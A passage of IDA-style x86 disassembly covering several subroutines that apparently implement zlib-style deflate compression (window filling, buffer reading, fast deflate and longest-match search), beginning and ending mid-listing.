mov [ebp+var_14], edx
jmp short loc_4BF662
; ---------------------------------------------------------------------------
loc_4BF65B: ; CODE XREF: sub_4BF490+1B8j
mov [ebp+var_14], 0
loc_4BF662: ; CODE XREF: sub_4BF490+1C9j
xor ecx, ecx
cmp [ebp+arg_4], 4
setz cl
push ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [edx+64h]
sub ecx, [eax+54h]
push ecx
mov edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4C20F2
add esp, 10h
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_0]
mov eax, [edx+64h]
mov [ecx+54h], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_4BEF80
add esp, 4
mov eax, [ebp+arg_0]
mov ecx, [eax]
cmp dword ptr [ecx+10h], 0
jnz short loc_4BF6BD
xor eax, eax
cmp [ebp+arg_4], 4
setnz al
dec eax
and eax, 2
jmp short loc_4BF6CC
; ---------------------------------------------------------------------------
loc_4BF6BD: ; CODE XREF: sub_4BF490+21Cj
mov eax, [ebp+arg_4]
sub eax, 4
neg eax
sbb eax, eax
and al, 0FEh
add eax, 3
loc_4BF6CC: ; CODE XREF: sub_4BF490+4Dj
; sub_4BF490+11Fj ...
mov esp, ebp
pop ebp
retn
sub_4BF490 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BF6D0 proc near ; CODE XREF: sub_4BF490+34p
; .text:004BF9C1p ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
Size = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+24h]
mov [ebp+Size], ecx
loc_4BF6E0: ; CODE XREF: sub_4BF6D0+230j
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [edx+34h]
sub ecx, [eax+6Ch]
mov edx, [ebp+arg_0]
sub ecx, [edx+64h]
mov [ebp+var_C], ecx
cmp [ebp+var_C], 0
jnz short loc_4BF718
mov eax, [ebp+arg_0]
cmp dword ptr [eax+64h], 0
jnz short loc_4BF718
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+6Ch], 0
jnz short loc_4BF718
mov edx, [ebp+Size]
mov [ebp+var_C], edx
jmp loc_4BF856
; ---------------------------------------------------------------------------
loc_4BF718: ; CODE XREF: sub_4BF6D0+29j
; sub_4BF6D0+32j ...
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_4BF72C
mov eax, [ebp+var_C]
sub eax, 1
mov [ebp+var_C], eax
jmp loc_4BF856
; ---------------------------------------------------------------------------
loc_4BF72C: ; CODE XREF: sub_4BF6D0+4Cj
mov ecx, [ebp+arg_0]
mov edx, [ecx+24h]
mov eax, [ebp+Size]
lea ecx, [eax+edx-106h]
mov edx, [ebp+arg_0]
cmp [edx+64h], ecx
jb loc_4BF856
mov eax, [ebp+Size]
push eax ; Size
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
add edx, [ebp+Size]
push edx ; Src
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
push ecx ; Dst
call _memcpy_1
add esp, 0Ch
mov edx, [ebp+arg_0]
mov eax, [edx+68h]
sub eax, [ebp+Size]
mov ecx, [ebp+arg_0]
mov [ecx+68h], eax
mov edx, [ebp+arg_0]
mov eax, [edx+64h]
sub eax, [ebp+Size]
mov ecx, [ebp+arg_0]
mov [ecx+64h], eax
mov edx, [ebp+arg_0]
mov eax, [edx+54h]
sub eax, [ebp+Size]
mov ecx, [ebp+arg_0]
mov [ecx+54h], eax
mov edx, [ebp+arg_0]
mov eax, [edx+44h]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+3Ch]
mov eax, [ebp+var_14]
lea ecx, [edx+eax*2]
mov [ebp+var_8], ecx
loc_4BF7AA: ; CODE XREF: sub_4BF6D0+11Fj
mov edx, [ebp+var_8]
sub edx, 2
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
xor ecx, ecx
mov cx, [eax]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
cmp edx, [ebp+Size]
jb short loc_4BF7D1
mov eax, [ebp+var_10]
sub eax, [ebp+Size]
mov [ebp+var_18], eax
jmp short loc_4BF7D8
; ---------------------------------------------------------------------------
loc_4BF7D1: ; CODE XREF: sub_4BF6D0+F4j
mov [ebp+var_18], 0
loc_4BF7D8: ; CODE XREF: sub_4BF6D0+FFj
mov ecx, [ebp+var_8]
mov dx, word ptr [ebp+var_18]
mov [ecx], dx
mov eax, [ebp+var_14]
sub eax, 1
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_4BF7AA
mov ecx, [ebp+Size]
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+38h]
mov ecx, [ebp+var_14]
lea edx, [eax+ecx*2]
mov [ebp+var_8], edx
loc_4BF806: ; CODE XREF: sub_4BF6D0+17Bj
mov eax, [ebp+var_8]
sub eax, 2
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
xor edx, edx
mov dx, [ecx]
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
cmp eax, [ebp+Size]
jb short loc_4BF82D
mov ecx, [ebp+var_10]
sub ecx, [ebp+Size]
mov [ebp+var_1C], ecx
jmp short loc_4BF834
; ---------------------------------------------------------------------------
loc_4BF82D: ; CODE XREF: sub_4BF6D0+150j
mov [ebp+var_1C], 0
loc_4BF834: ; CODE XREF: sub_4BF6D0+15Bj
mov edx, [ebp+var_8]
mov ax, word ptr [ebp+var_1C]
mov [edx], ax
mov ecx, [ebp+var_14]
sub ecx, 1
mov [ebp+var_14], ecx
cmp [ebp+var_14], 0
jnz short loc_4BF806
mov edx, [ebp+var_C]
add edx, [ebp+Size]
mov [ebp+var_C], edx
loc_4BF856: ; CODE XREF: sub_4BF6D0+43j
; sub_4BF6D0+57j ...
mov eax, [ebp+arg_0]
mov ecx, [eax]
cmp dword ptr [ecx+4], 0
jnz short loc_4BF866
jmp loc_4BF906
; ---------------------------------------------------------------------------
loc_4BF866: ; CODE XREF: sub_4BF6D0+18Fj
mov edx, [ebp+var_C]
push edx ; int
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
mov edx, [ebp+arg_0]
add ecx, [edx+64h]
mov eax, [ebp+arg_0]
add ecx, [eax+6Ch]
push ecx ; Dst
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx ; int
call sub_4BF90B
add esp, 0Ch
mov [ebp+var_14], eax
mov eax, [ebp+arg_0]
mov ecx, [eax+6Ch]
add ecx, [ebp+var_14]
mov edx, [ebp+arg_0]
mov [edx+6Ch], ecx
mov eax, [ebp+arg_0]
cmp dword ptr [eax+6Ch], 3
jb short loc_4BF8EB
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
mov eax, [ebp+arg_0]
mov ecx, [eax+64h]
xor eax, eax
mov al, [edx+ecx]
mov ecx, [ebp+arg_0]
mov [ecx+40h], eax
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov edx, [edx+40h]
mov ecx, [eax+50h]
shl edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax+64h]
mov eax, [ebp+arg_0]
mov eax, [eax+30h]
xor ebx, ebx
mov bl, [eax+ecx+1]
xor edx, ebx
mov ecx, [ebp+arg_0]
and edx, [ecx+4Ch]
mov eax, [ebp+arg_0]
mov [eax+40h], edx
loc_4BF8EB: ; CODE XREF: sub_4BF6D0+1D4j
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+6Ch], 106h
jnb short loc_4BF906
mov edx, [ebp+arg_0]
mov eax, [edx]
cmp dword ptr [eax+4], 0
jnz loc_4BF6E0
loc_4BF906: ; CODE XREF: sub_4BF6D0+191j
; sub_4BF6D0+225j
pop ebx
mov esp, ebp
pop ebp
retn
sub_4BF6D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4BF90B(int,void *Dst,int)
sub_4BF90B proc near ; CODE XREF: sub_4BF6D0+1B3p
Size = dword ptr -4
arg_0 = dword ptr 8
Dst = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
mov [ebp+Size], ecx
mov edx, [ebp+Size]
cmp edx, [ebp+arg_8]
jbe short loc_4BF926
mov eax, [ebp+arg_8]
mov [ebp+Size], eax
loc_4BF926: ; CODE XREF: sub_4BF90B+13j
cmp [ebp+Size], 0
jnz short loc_4BF930
xor eax, eax
jmp short loc_4BF99F
; ---------------------------------------------------------------------------
loc_4BF930: ; CODE XREF: sub_4BF90B+1Fj
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
sub edx, [ebp+Size]
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp dword ptr [edx+18h], 0
jnz short loc_4BF96A
mov eax, [ebp+Size]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
push ecx
call sub_4C16E0
add esp, 0Ch
mov edx, [ebp+arg_0]
mov [edx+30h], eax
loc_4BF96A: ; CODE XREF: sub_4BF90B+3Ej
mov eax, [ebp+Size]
push eax ; Size
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx ; Src
mov eax, [ebp+Dst]
push eax ; Dst
call _memcpy_1
add esp, 0Ch
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, [ebp+Size]
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, [ebp+Size]
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov eax, [ebp+Size]
loc_4BF99F: ; CODE XREF: sub_4BF90B+23j
mov esp, ebp
pop ebp
retn
sub_4BF90B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 20h
push ebx
mov dword ptr [ebp-8], 0
loc_4BF9B1: ; CODE XREF: .text:loc_4BFE65j
mov eax, [ebp+8]
cmp dword ptr [eax+6Ch], 106h
jnb short loc_4BF9F0
mov ecx, [ebp+8]
push ecx
call sub_4BF6D0
add esp, 4
mov edx, [ebp+8]
cmp dword ptr [edx+6Ch], 106h
jnb short loc_4BF9E2
cmp dword ptr [ebp+0Ch], 0
jnz short loc_4BF9E2
xor eax, eax
jmp loc_4BFEF5
; ---------------------------------------------------------------------------
loc_4BF9E2: ; CODE XREF: .text:004BF9D3j
; .text:004BF9D9j
mov eax, [ebp+8]
cmp dword ptr [eax+6Ch], 0
jnz short loc_4BF9F0
jmp loc_4BFE6A
; ---------------------------------------------------------------------------
loc_4BF9F0: ; CODE XREF: .text:004BF9BBj
; .text:004BF9E9j
mov ecx, [ebp+8]
cmp dword ptr [ecx+6Ch], 3
jb short loc_4BFA6D
mov edx, [ebp+8]
mov eax, [ebp+8]
mov edx, [edx+40h]
mov ecx, [eax+50h]
shl edx, cl
mov eax, [ebp+8]
mov ecx, [eax+64h]
mov eax, [ebp+8]
mov eax, [eax+30h]
xor ebx, ebx
mov bl, [eax+ecx+2]
xor edx, ebx
mov ecx, [ebp+8]
and edx, [ecx+4Ch]
mov eax, [ebp+8]
mov [eax+40h], edx
mov ecx, [ebp+8]
mov edx, [ecx+40h]
mov eax, [ebp+8]
mov ecx, [eax+3Ch]
xor eax, eax
mov ax, [ecx+edx*2]
mov [ebp-8], eax
mov ecx, [ebp+8]
mov edx, [ebp+8]
mov eax, [ecx+64h]
and eax, [edx+2Ch]
mov ecx, [ebp+8]
mov edx, [ecx+38h]
mov cx, [ebp-8]
mov [edx+eax*2], cx
mov edx, [ebp+8]
mov eax, [edx+40h]
mov ecx, [ebp+8]
mov edx, [ecx+3Ch]
mov ecx, [ebp+8]
mov cx, [ecx+64h]
mov [edx+eax*2], cx
loc_4BFA6D: ; CODE XREF: .text:004BF9F7j
cmp dword ptr [ebp-8], 0
jz short loc_4BFAAE
mov edx, [ebp+8]
mov eax, [edx+64h]
sub eax, [ebp-8]
mov ecx, [ebp+8]
mov edx, [ecx+24h]
sub edx, 106h
cmp eax, edx
ja short loc_4BFAAE
mov eax, [ebp+8]
cmp dword ptr [eax+80h], 2
jz short loc_4BFAAE
mov ecx, [ebp-8]
push ecx
mov edx, [ebp+8]
push edx
call sub_4BFEFA
add esp, 8
mov ecx, [ebp+8]
mov [ecx+58h], eax
loc_4BFAAE: ; CODE XREF: .text:004BFA71j
; .text:004BFA8Aj ...
mov edx, [ebp+8]
cmp dword ptr [edx+58h], 3
jb loc_4BFD35
mov eax, [ebp+8]
mov ecx, [eax+58h]
sub ecx, 3
mov [ebp-10h], cl
mov edx, [ebp+8]
mov eax, [ebp+8]
mov ecx, [edx+64h]
sub ecx, [eax+68h]
mov [ebp-0Ch], cx
mov edx, [ebp+8]
mov eax, [edx+1698h]
mov ecx, [ebp+8]
mov edx, [ecx+169Ch]
mov cx, [ebp-0Ch]
mov [edx+eax*2], cx
mov edx, [ebp+8]
mov eax, [edx+1690h]
mov ecx, [ebp+8]
mov edx, [ecx+1698h]
mov cl, [ebp-10h]
mov [eax+edx], cl
mov edx, [ebp+8]
mov eax, [edx+1698h]
add eax, 1
mov ecx, [ebp+8]
mov [ecx+1698h], eax
mov dx, [ebp-0Ch]
sub dx, 1
mov [ebp-0Ch], dx
mov eax, [ebp-10h]
and eax, 0FFh
xor ecx, ecx
mov cl, byte_4F2CA0[eax]
mov edx, [ebp+8]
mov ax, [edx+ecx*4+490h]
add ax, 1
mov ecx, [ebp-10h]
and ecx, 0FFh
xor edx, edx
mov dl, byte_4F2CA0[ecx]
mov ecx, [ebp+8]
mov [ecx+edx*4+490h], ax
mov edx, [ebp-0Ch]
and edx, 0FFFFh
cmp edx, 100h
jge short loc_4BFB8B
mov eax, [ebp-0Ch]
and eax, 0FFFFh
xor ecx, ecx
mov cl, byte_4F2AA0[eax]
mov [ebp-18h], ecx
jmp short loc_4BFBA2
; ---------------------------------------------------------------------------
loc_4BFB8B: ; CODE XREF: .text:004BFB74j
mov edx, [ebp-0Ch]
and edx, 0FFFFh
sar edx, 7
xor eax, eax
mov al, byte_4F2BA0[edx]
mov [ebp-18h], eax
loc_4BFBA2: ; CODE XREF: .text:004BFB89j
mov ecx, [ebp-18h]
mov edx, [ebp+8]
mov ax, [edx+ecx*4+980h]
add ax, 1
mov ecx, [ebp-18h]
mov edx, [ebp+8]
mov [edx+ecx*4+980h], ax
mov eax, [ebp+8]
mov ecx, [eax+1694h]
sub ecx, 1
mov edx, [ebp+8]
xor eax, eax
cmp [edx+1698h], ecx
setz al
mov [ebp-4], eax
mov ecx, [ebp+8]
mov edx, [ebp+8]
mov eax, [ecx+6Ch]
sub eax, [edx+58h]
mov ecx, [ebp+8]
mov [ecx+6Ch], eax
mov edx, [ebp+8]
mov eax, [ebp+8]
mov ecx, [edx+58h]
cmp ecx, [eax+78h]
ja loc_4BFCCF
mov edx, [ebp+8]
cmp dword ptr [edx+6Ch], 3
jb loc_4BFCCF
mov eax, [ebp+8]
mov ecx, [eax+58h]
sub ecx, 1
mov edx, [ebp+8]
mov [edx+58h], ecx
loc_4BFC1F: ; CODE XREF: .text:004BFCB8j
mov eax, [ebp+8]
mov ecx, [eax+64h]
add ecx, 1
mov edx, [ebp+8]
mov [edx+64h], ecx
mov eax, [ebp+8]
mov ecx, [ebp+8]
mov edx, [eax+40h]
mov ecx, [ecx+50h]
shl edx, cl
mov eax, [ebp+8]
mov ecx, [eax+64h]
mov eax, [ebp+8]
mov eax, [eax+30h]
xor ebx, ebx
mov bl, [eax+ecx+2]
xor edx, ebx
mov ecx, [ebp+8]
and edx, [ecx+4Ch]
mov eax, [ebp+8]
mov [eax+40h], edx
mov ecx, [ebp+8]
mov edx, [ecx+40h]
mov eax, [ebp+8]
mov ecx, [eax+3Ch]
xor eax, eax
mov ax, [ecx+edx*2]
mov [ebp-8], eax
mov ecx, [ebp+8]
mov edx, [ebp+8]
mov eax, [ecx+64h]
and eax, [edx+2Ch]
mov ecx, [ebp+8]
mov edx, [ecx+38h]
mov cx, [ebp-8]
mov [edx+eax*2], cx
mov edx, [ebp+8]
mov eax, [edx+40h]
mov ecx, [ebp+8]
mov edx, [ecx+3Ch]
mov ecx, [ebp+8]
mov cx, [ecx+64h]
mov [edx+eax*2], cx
mov edx, [ebp+8]
mov eax, [edx+58h]
sub eax, 1
mov ecx, [ebp+8]
mov [ecx+58h], eax
mov edx, [ebp+8]
cmp dword ptr [edx+58h], 0
jnz loc_4BFC1F
mov eax, [ebp+8]
mov ecx, [eax+64h]
add ecx, 1
mov edx, [ebp+8]
mov [edx+64h], ecx
jmp short loc_4BFD30
; ---------------------------------------------------------------------------
loc_4BFCCF: ; CODE XREF: .text:004BFBFDj
; .text:004BFC0Aj
mov eax, [ebp+8]
mov ecx, [eax+64h]
mov edx, [ebp+8]
add ecx, [edx+58h]
mov eax, [ebp+8]
mov [eax+64h], ecx
mov ecx, [ebp+8]
mov dword ptr [ecx+58h], 0
mov edx, [ebp+8]
mov eax, [edx+30h]
mov ecx, [ebp+8]
mov edx, [ecx+64h]
xor ecx, ecx
mov cl, [eax+edx]
mov edx, [ebp+8]
mov [edx+40h], ecx
mov eax, [ebp+8]
mov ecx, [ebp+8]
mov edx, [eax+40h]
mov ecx, [ecx+50h]
shl edx, cl
mov eax, [ebp+8]
mov ecx, [eax+64h]
mov eax, [ebp+8]
mov eax, [eax+30h]
xor ebx, ebx
mov bl, [eax+ecx+1]
xor edx, ebx
mov ecx, [ebp+8]
and edx, [ecx+4Ch]
mov eax, [ebp+8]
mov [eax+40h], edx
loc_4BFD30: ; CODE XREF: .text:004BFCCDj
jmp loc_4BFDF3
; ---------------------------------------------------------------------------
loc_4BFD35: ; CODE XREF: .text:004BFAB5j
mov ecx, [ebp+8]
mov edx, [ecx+30h]
mov eax, [ebp+8]
mov ecx, [eax+64h]
mov dl, [edx+ecx]
mov [ebp-14h], dl
mov eax, [ebp+8]
mov ecx, [eax+1698h]
mov edx, [ebp+8]
mov eax, [edx+169Ch]
mov word ptr [eax+ecx*2], 0
mov ecx, [ebp+8]
mov edx, [ecx+1690h]
mov eax, [ebp+8]
mov ecx, [eax+1698h]
mov al, [ebp-14h]
mov [edx+ecx], al
mov ecx, [ebp+8]
mov edx, [ecx+1698h]
add edx, 1
mov eax, [ebp+8]
mov [eax+1698h], edx
mov ecx, [ebp-14h]
and ecx, 0FFh
mov edx, [ebp+8]
mov ax, [edx+ecx*4+8Ch]
add ax, 1
mov ecx, [ebp-14h]
and ecx, 0FFh
mov edx, [ebp+8]
mov [edx+ecx*4+8Ch], ax
mov eax, [ebp+8]
mov ecx, [eax+1694h]
sub ecx, 1
mov edx, [ebp+8]
xor eax, eax
cmp [edx+1698h], ecx
setz al
mov [ebp-4], eax
mov ecx, [ebp+8]
mov edx, [ecx+6Ch]
sub edx, 1
mov eax, [ebp+8]
mov [eax+6Ch], edx
mov ecx, [ebp+8]
mov edx, [ecx+64h]
add edx, 1
mov eax, [ebp+8]
mov [eax+64h], edx
loc_4BFDF3: ; CODE XREF: .text:loc_4BFD30j
cmp dword ptr [ebp-4], 0
jz short loc_4BFE65
mov ecx, [ebp+8]
cmp dword ptr [ecx+54h], 0
jl short loc_4BFE13
mov edx, [ebp+8]
mov eax, [edx+30h]
mov ecx, [ebp+8]
add eax, [ecx+54h]
mov [ebp-1Ch], eax
jmp short loc_4BFE1A
; ---------------------------------------------------------------------------
loc_4BFE13: ; CODE XREF: .text:004BFE00j
mov dword ptr [ebp-1Ch], 0
loc_4BFE1A: ; CODE XREF: .text:004BFE11j
push 0
mov edx, [ebp+8]
mov eax, [ebp+8]
mov ecx, [edx+64h]
sub ecx, [eax+54h]
push ecx
mov edx, [ebp-1Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_4C20F2
add esp, 10h
mov ecx, [ebp+8]
mov edx, [ebp+8]
mov eax, [edx+64h]
mov [ecx+54h], eax
mov ecx, [ebp+8]
mov edx, [ecx]
push edx
call sub_4BEF80
add esp, 4
mov eax, [ebp+8]
mov ecx, [eax]
cmp dword ptr [ecx+10h], 0
jnz short loc_4BFE65
xor eax, eax
jmp loc_4BFEF5
; ---------------------------------------------------------------------------
loc_4BFE65: ; CODE XREF: .text:004BFDF7j
; .text:004BFE5Cj
jmp loc_4BF9B1
; ---------------------------------------------------------------------------
loc_4BFE6A: ; CODE XREF: .text:004BF9EBj
mov edx, [ebp+8]
cmp dword ptr [edx+54h], 0
jl short loc_4BFE84
mov eax, [ebp+8]
mov ecx, [eax+30h]
mov edx, [ebp+8]
add ecx, [edx+54h]
mov [ebp-20h], ecx
jmp short loc_4BFE8B
; ---------------------------------------------------------------------------
loc_4BFE84: ; CODE XREF: .text:004BFE71j
mov dword ptr [ebp-20h], 0
loc_4BFE8B: ; CODE XREF: .text:004BFE82j
xor eax, eax
cmp dword ptr [ebp+0Ch], 4
setz al
push eax
mov ecx, [ebp+8]
mov edx, [ebp+8]
mov eax, [ecx+64h]
sub eax, [edx+54h]
push eax
mov ecx, [ebp-20h]
push ecx
mov edx, [ebp+8]
push edx
call sub_4C20F2
add esp, 10h
mov eax, [ebp+8]
mov ecx, [ebp+8]
mov edx, [ecx+64h]
mov [eax+54h], edx
mov eax, [ebp+8]
mov ecx, [eax]
push ecx
call sub_4BEF80
add esp, 4
mov edx, [ebp+8]
mov eax, [edx]
cmp dword ptr [eax+10h], 0
jnz short loc_4BFEE6
xor eax, eax
cmp dword ptr [ebp+0Ch], 4
setnz al
dec eax
and eax, 2
jmp short loc_4BFEF5
; ---------------------------------------------------------------------------
loc_4BFEE6: ; CODE XREF: .text:004BFED5j
mov eax, [ebp+0Ch]
sub eax, 4
neg eax
sbb eax, eax
and al, 0FEh
add eax, 3
loc_4BFEF5: ; CODE XREF: .text:004BF9DDj
; .text:004BFE60j ...
pop ebx
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4BFEFA proc near ; CODE XREF: .text:004BFAA0p
; .text:004C0359p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 34h
mov eax, [ebp+arg_0]
mov ecx, [eax+74h]
mov [ebp+var_2C], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
mov ecx, [ebp+arg_0]
add eax, [ecx+64h]
mov [ebp+var_14], eax
mov edx, [ebp+arg_0]
mov eax, [edx+70h]
mov [ebp+var_18], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+88h]
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+24h]
sub ecx, 106h
mov edx, [ebp+arg_0]
cmp [edx+64h], ecx
jbe short loc_4BFF5A
mov eax, [ebp+arg_0]
mov ecx, [eax+24h]
sub ecx, 106h
mov edx, [ebp+arg_0]
mov eax, [edx+64h]
sub eax, ecx
mov [ebp+var_34], eax
jmp short loc_4BFF61
; ---------------------------------------------------------------------------
loc_4BFF5A: ; CODE XREF: sub_4BFEFA+45j
mov [ebp+var_34], 0
loc_4BFF61: ; CODE XREF: sub_4BFEFA+5Ej
mov ecx, [ebp+var_34]
mov [ebp+var_20], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+38h]
mov [ebp+var_28], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
mov [ebp+var_1C], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
mov edx, [ebp+arg_0]
mov eax, [edx+64h]
lea ecx, [ecx+eax+102h]
mov [ebp+var_30], ecx
mov edx, [ebp+var_14]
add edx, [ebp+var_18]
mov al, [edx-1]
mov byte ptr [ebp+var_8], al
mov ecx, [ebp+var_14]
add ecx, [ebp+var_18]
mov dl, [ecx]
mov byte ptr [ebp+var_4], dl
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_0]
mov edx, [eax+70h]
cmp edx, [ecx+84h]
jb short loc_4BFFC0
mov eax, [ebp+var_2C]
shr eax, 2
mov [ebp+var_2C], eax
loc_4BFFC0: ; CODE XREF: sub_4BFEFA+BBj
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
cmp edx, [ecx+6Ch]
jbe short loc_4BFFD4
mov eax, [ebp+arg_0]
mov ecx, [eax+6Ch]
mov [ebp+var_C], ecx
loc_4BFFD4: ; CODE XREF: sub_4BFEFA+CFj
; sub_4BFEFA+30Fj
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
add eax, [ebp+arg_4]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
add ecx, [ebp+var_18]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_4]
and eax, 0FFh
cmp edx, eax
jnz short loc_4C003B
mov ecx, [ebp+var_10]
add ecx, [ebp+var_18]
xor edx, edx
mov dl, [ecx-1]
mov eax, [ebp+var_8]
and eax, 0FFh
cmp edx, eax
jnz short loc_4C003B
mov ecx, [ebp+var_10]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_14]
xor ecx, ecx
mov cl, [eax]
cmp edx, ecx
jnz short loc_4C003B
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+var_14]
xor eax, eax
mov al, [edx+1]
cmp ecx, eax
jz short loc_4C0040
loc_4C003B: ; CODE XREF: sub_4BFEFA+FAj
; sub_4BFEFA+111j ...
jmp loc_4C01E2
; ---------------------------------------------------------------------------
loc_4C0040: ; CODE XREF: sub_4BFEFA+13Fj
mov ecx, [ebp+var_14]
add ecx, 2
mov [ebp+var_14], ecx
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
loc_4C0052: ; CODE XREF: sub_4BFEFA+28Ej
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
xor eax, eax
mov al, [ecx]
cmp edx, eax
jnz loc_4C018E
mov ecx, [ebp+var_14]
add ecx, 1
mov [ebp+var_14], ecx
mov edx, [ebp+var_14]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
xor ecx, ecx
mov cl, [edx]
cmp eax, ecx
jnz loc_4C018E
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
mov eax, [ebp+var_14]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
xor edx, edx
mov dl, [eax]
cmp ecx, edx
jnz loc_4C018E
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
xor eax, eax
mov al, [ecx]
cmp edx, eax
jnz loc_4C018E
mov ecx, [ebp+var_14]
add ecx, 1
mov [ebp+var_14], ecx
mov edx, [ebp+var_14]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
xor ecx, ecx
mov cl, [edx]
cmp eax, ecx
jnz short loc_4C018E
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
mov eax, [ebp+var_14]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+var_10]
add edx, 1
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
xor edx, edx
mov dl, [eax]
cmp ecx, edx
jnz short loc_4C018E
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
xor eax, eax
mov al, [ecx]
cmp edx, eax
jnz short loc_4C018E
mov ecx, [ebp+var_14]
add ecx, 1
mov [ebp+var_14], ecx
mov edx, [ebp+var_14]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_10]
add ecx, 1
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
xor ecx, ecx
mov cl, [edx]
cmp eax, ecx
jnz short loc_4C018E
mov edx, [ebp+var_14]
cmp edx, [ebp+var_30]
jb loc_4C0052
loc_4C018E: ; CODE XREF: sub_4BFEFA+17Aj
; sub_4BFEFA+1A2j ...
mov eax, [ebp+var_30]
sub eax, [ebp+var_14]
mov ecx, 102h
sub ecx, eax
mov [ebp+var_24], ecx
mov edx, [ebp+var_30]
sub edx, 102h
mov [ebp+var_14], edx
mov eax, [ebp+var_24]
cmp eax, [ebp+var_18]
jle short loc_4C01E2
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov [ecx+68h], edx
mov eax, [ebp+var_24]
mov [ebp+var_18], eax
mov ecx, [ebp+var_24]
cmp ecx, [ebp+var_C]
jl short loc_4C01CB
jmp short loc_4C020F
; ---------------------------------------------------------------------------
